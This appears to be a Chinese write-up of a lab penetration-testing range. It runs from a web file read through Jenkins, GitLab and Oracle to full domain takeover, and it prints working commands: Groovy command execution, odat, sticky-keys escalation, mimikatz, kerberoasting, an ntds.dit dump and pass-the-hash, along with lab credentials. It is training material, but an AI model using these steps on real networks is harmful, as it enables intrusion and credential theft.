上来先用fscan扫一下.
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4
start infoscan
39.98.114.164:80 open
39.98.114.164:8080 open
39.98.114.164:135 open
39.98.114.164:139 open
39.98.114.164:3306 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]39.98.114.164[->]XR-JENKINS[->]172.22.14.7
[*] WebTitle http://39.98.114.164 code:200 len:54689 title:XR SHOP
[*] WebTitle http://39.98.114.164:8080 code:403 len:548 title:None
80一个wordpress,8080一个jenkins,80扫目录发现www.zip,下下来审计一下.
发现tools目录下有两个逆天的文件.
phpinfo.php
<?php phpinfo();?>
content-log.php(D盾没扫出来)
<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {// Get the content and echo it.$text = file_get_contents( $logfile );echo( $text );
}
exit;
第一个文件泄露环境,第二个文件导致任意文件读取.由于使用的是windows server,直接猜测是phpstudy搭的,有管理员权限,尝试读取flag.
http://39.98.114.164/tools/content-log.php?logfile=C:/Users/Administrator/flag/flag01.txt
flag:flag{f3d2c982-67b0-4b20-aa6d-0f10d89ddd43}
由于靶场存在提示
并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。
尝试读取管理员的初始密码
http://39.98.114.164/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
510235cf43f14e83b88a9f144199655b
后台登录
jenkins后台存在groovy的在线编译器
注意接下来的步骤开着梯子走不通,因为走代理拿不到crumb,会被判定为csrf攻击.
由于权限高,所以可以直接执行命令
println "net user lbzc Lbz12345 /add".execute().text
println "net localgroup administrators lbzc /add".execute().text
由于不知道计算机对于密码配置策略的要求,所以设置用户名和密码的时候一定要看到命令成功完成回显.
rdp上线.起个nps代理,传个fscan去扫内网.
___ _/ _ \ ___ ___ _ __ __ _ ___| | __/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\fscan version: 1.8.3
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.7:445 open
172.22.14.31:139 open
172.22.14.46:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.46:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.11:445 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:8080 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7[->]XR-JENKINS[->]172.22.14.7
[*] NetInfo
[*]172.22.14.11[->]XR-DC[->]172.22.14.11
[*] NetInfo
[*]172.22.14.31[->]XR-ORACLE[->]172.22.14.31
[*] NetInfo
[*]172.22.14.46[->]XR-0923[->]172.22.14.46
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file
存在如下主机
172.22.14.7 本机
172.22.14.46 XIAORANG\XR-0923(域内机器)
172.22.14.11 XR-DC 域控
172.22.14.31 XR-ORACLE
172.22.14.16 GitLab
第二关内容如下
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
去读C:/ProgramData/Jenkins/.jenkins/credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1214.v1de940103927"><domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"><entry><com.cloudbees.plugins.credentials.domains.Domain><specifications/></com.cloudbees.plugins.credentials.domains.Domain><java.util.concurrent.CopyOnWriteArrayList><com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="gitlab-plugin@1.6.0"><scope>GLOBAL</scope><id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id><description></description><apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken></com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl></java.util.concurrent.CopyOnWriteArrayList></entry></domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>
找到的apiToken是加密过的,去jenkins的groovy script中进行一次解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
得到了明文glpat-7kD_qLH2PiQv_ywB9hz2
访问url:http://172.22.14.16/api/v4/projects
,并携带token:PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2
发现一共有5个项目,分别为Internal Secret,XRAdmin,Awenode,XRWiki,Monitoring.
分别把他们clone下来,使用的命令如下
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
在xradmin/ruoyi-admin/src/main/resources/application-druid.yml
中找到了Oracle的账号密码.
# 数据源配置
spring:datasource:type: com.alibaba.druid.pool.DruidDataSourcedriverClassName: oracle.jdbc.driver.OracleDriverdruid:# 主库数据源master:url: jdbc:oracle:thin:@172.22.14.31:1521/orclusername: xradminpassword: fcMyE8t9E4XdsKf# 从库数据源slave:# 从数据源开关/默认关闭enabled: falseurl: username: password: # 初始连接数initialSize: 5# 最小连接池数量minIdle: 10# 最大连接池数量maxActive: 20# 配置获取连接等待超时的时间maxWait: 60000# 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒timeBetweenEvictionRunsMillis: 60000# 配置一个连接在池中最小生存的时间,单位是毫秒minEvictableIdleTimeMillis: 300000# 配置一个连接在池中最大生存的时间,单位是毫秒maxEvictableIdleTimeMillis: 900000# 配置检测连接是否有效validationQuery: SELECT 1 FROM DUALtestWhileIdle: truetestOnBorrow: falsetestOnReturn: falsewebStatFilter: enabled: truestatViewServlet:enabled: true# 设置白名单,不填则允许所有访问allow:url-pattern: /druid/*# 控制台管理用户名和密码login-username: login-password: filter:stat:enabled: true# 慢SQL记录log-slow-sql: trueslow-sql-millis: 1000merge-sql: truewall:config:multi-statement-allow: true
MDUT能连上,但是执行命令和读文件都报错.
直接使用odat去执行命令.
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user lbzc Lbz12345 /add'
proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators lbzc /add'
rdp上去,成功拿到flag
flag:flag{e631877f-7945-4564-9af6-ece9a25a9217}
另外在Internal Secret中存在credentials.txt,里面存储着大量的用户名和密码
找到XR-0923:XR-0923 | zhangshuai | wSbEajHzZs
,rdp登陆.
发现zhangshuai是Remote Management User组成员.
直接使用evil-winrm登录
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
发现存在SeRestorePrivilege特权.
可以打一个修改注册表,进行类似注册表提权的攻击.然而用tsclient的打法报错.
说明这里的SeRestorePrivilege并没有权限修改注册表,尝试修改文件名,进行粘滞键提权.
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe
回到锁屏界面按5下shift,成功提权.拿到了第三个flag
flag:flag{6976c5ee-4056-4f7a-82cd-30283eb0b3cf}
创个管理员账号上去.
net user LBZ Lbz12345! /add
net localgroup administrators LBZ /add
上个mimitakz去抓一下密码.突然发现cmd.exe没做备份,恢复不了了.对付用吧...
mimitakz
privilege::debug
sekurlsa::logonpasswords
使用抓取到的机器账户的ntlm去查询SPN
8519c5a89b2cd4d679a5a36f26863e5d
使用机器账户的ntlm去枚举SPN
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11
抓一下tianjing的哈希
proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':2db8b6a4d945068a4fd5bb65d33fe280' -dc-ip 172.22.14.11 -request-user tianjing
使用hashcat爆破
hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force
结果为tianjing/DPQSXSXgh2
这用户也是Remote Management User成员,因此可以直接evil-winrm上线DC
proxychains evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2
发现开启了SeBackupPrivilege,可以卷影拷贝然后读sam配合注册表的system得哈希.
本地创一个raj.dsh,写入
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
然后使用unix2dos raj.dsh
将换行转换为windows格式.
回到域控,在C的根目录创建一个test目录(确保权限问题),然后上传raj.dsh
mkdir test
cd test
upload raj.dsh
卷影拷贝sam表
diskshadow /s raj.dsh
复制文件到当前目录(RoboCopy相当于增强的copy),并下载sam表
RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit
最后转存并下载system
reg save HKLM\SYSTEM system
download system
对ntds.dit和system进行本地解密
impacket-secretsdump -ntds ntds.dit -system system local
得到了域管理员的ntlm,pth即可.
proxychains crackmapexec smb 172.22.14.11 -u administrator -H70c39b547b7d8adec35ad7c09fb1d277 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
flag:flag{01ee24c8-e844-402a-ab14-fd4bbfaefb6e}
共用时3小时15分,这次打SeBackupPrivilege就打成了.回顾了一下之前Thermal Power失败的原因,似乎想明白了.rdp上去以后用户属于Back Operators组,但是没被赋予SeBackupPrivilege权限,需要我去赋予权限,并开启权限才能进行sam表转储.